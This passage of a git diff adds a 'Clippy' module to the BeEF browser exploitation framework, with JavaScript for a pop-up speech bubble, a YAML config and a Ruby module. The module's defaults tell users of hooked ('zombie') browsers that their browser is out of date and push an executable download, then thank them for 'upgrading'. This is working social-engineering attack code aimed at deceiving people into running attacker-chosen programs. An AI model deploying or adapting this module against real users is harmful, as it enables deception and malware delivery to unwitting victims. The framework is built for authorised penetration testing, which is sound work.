||||
Clippy.prototype.talkLater = function() {
|
||||
this.closeBubble();
|
||||
var _c = this;
|
||||
this.timer = setTimeout( function() { _c.firstLine(); }, 2000);
|
||||
}
|
||||
Clippy.prototype.openBubble = function(_o) {
|
||||
|
||||
if (typeof(_o)=="string") {
|
||||
var o = document.createElement("p");
|
||||
o.innerHTML = _o;
|
||||
} else {
|
||||
var o = _o;
|
||||
}
|
||||
|
||||
if (this.bubble) {
|
||||
this.bubble.close();
|
||||
}
|
||||
|
||||
this.bubble = new PopupDisplay(o,{file_dir:this.file_dir});
|
||||
this.homebase.appendChild(this.bubble.getElement());
|
||||
|
||||
}
|
||||
Clippy.prototype.closeBubble = function() {
|
||||
if (this.bubble) {
|
||||
this.bubble.close();
|
||||
}
|
||||
}
|
||||
|
||||
/* APPLICATION LOGIC: */
|
||||
// function clippy_boot() {if(document.getElementsByTagName("BODY").length === 0) {setTimeout("clippy_boot()",1);} else {clippy_main();}return;}
|
||||
// function clippy_main() {var c = new Clippy("homebase","./").run();}
|
||||
/* GO! */
|
||||
// clippy_boot();
|
||||
|
||||
__clippyboot(function(){new Clippy("body","<%== @clippydir %>").run();});
|
||||
|
||||
});
|
||||
25
modules/misc/clippy/config.yaml
Executable file
25
modules/misc/clippy/config.yaml
Executable file
@@ -0,0 +1,25 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
clippy:
|
||||
enable: true
|
||||
category: "Misc"
|
||||
name: "Clippy"
|
||||
description: "Brings up a clippy image and asks the user to do stuff."
|
||||
authors: ["vt [nick.freeman@security-assessment.com]", "denden [denis.andzakovic@security-assessment.com]"]
|
||||
target:
|
||||
user_notify: ['ALL']
|
||||
36
modules/misc/clippy/module.rb
Executable file
36
modules/misc/clippy/module.rb
Executable file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Clippy < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' =>'clippydir', 'description' =>'Webdir containing clippy image', 'ui_label'=>'Clippy image', 'value' => 'http://clippy.ajbnet.com/1.0.0/'},
|
||||
{'name' =>'askusertext', 'description' =>'Text for speech bubble', 'ui_label'=>'Custom text', 'value' => 'Your browser appears to be out of date. Would you like to upgrade it?'},
|
||||
{'name' =>'executeyes', 'description' =>'Executable to download', 'ui_label'=>'Executable', 'value' => 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe'},
|
||||
{'name' =>'respawntime', 'description' =>'', 'ui_label'=>'Time until Clippy shows his face again', 'value' => '5000'},
|
||||
{'name' =>'thankyoumessage', 'description' =>'Thankyou message after downloading', 'ui_label'=>'Thankyou message after downloading', 'value' => 'Thanks for upgrading your browser! Look forward to a safer, faster web!'}
|
||||
]
|
||||
end
|
||||
|
||||
#
|
||||
# This method is being called when a zombie sends some
|
||||
# data back to the framework.
|
||||
#
|
||||
def post_execute
|
||||
save({'answer' => @datastore['answer']})
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user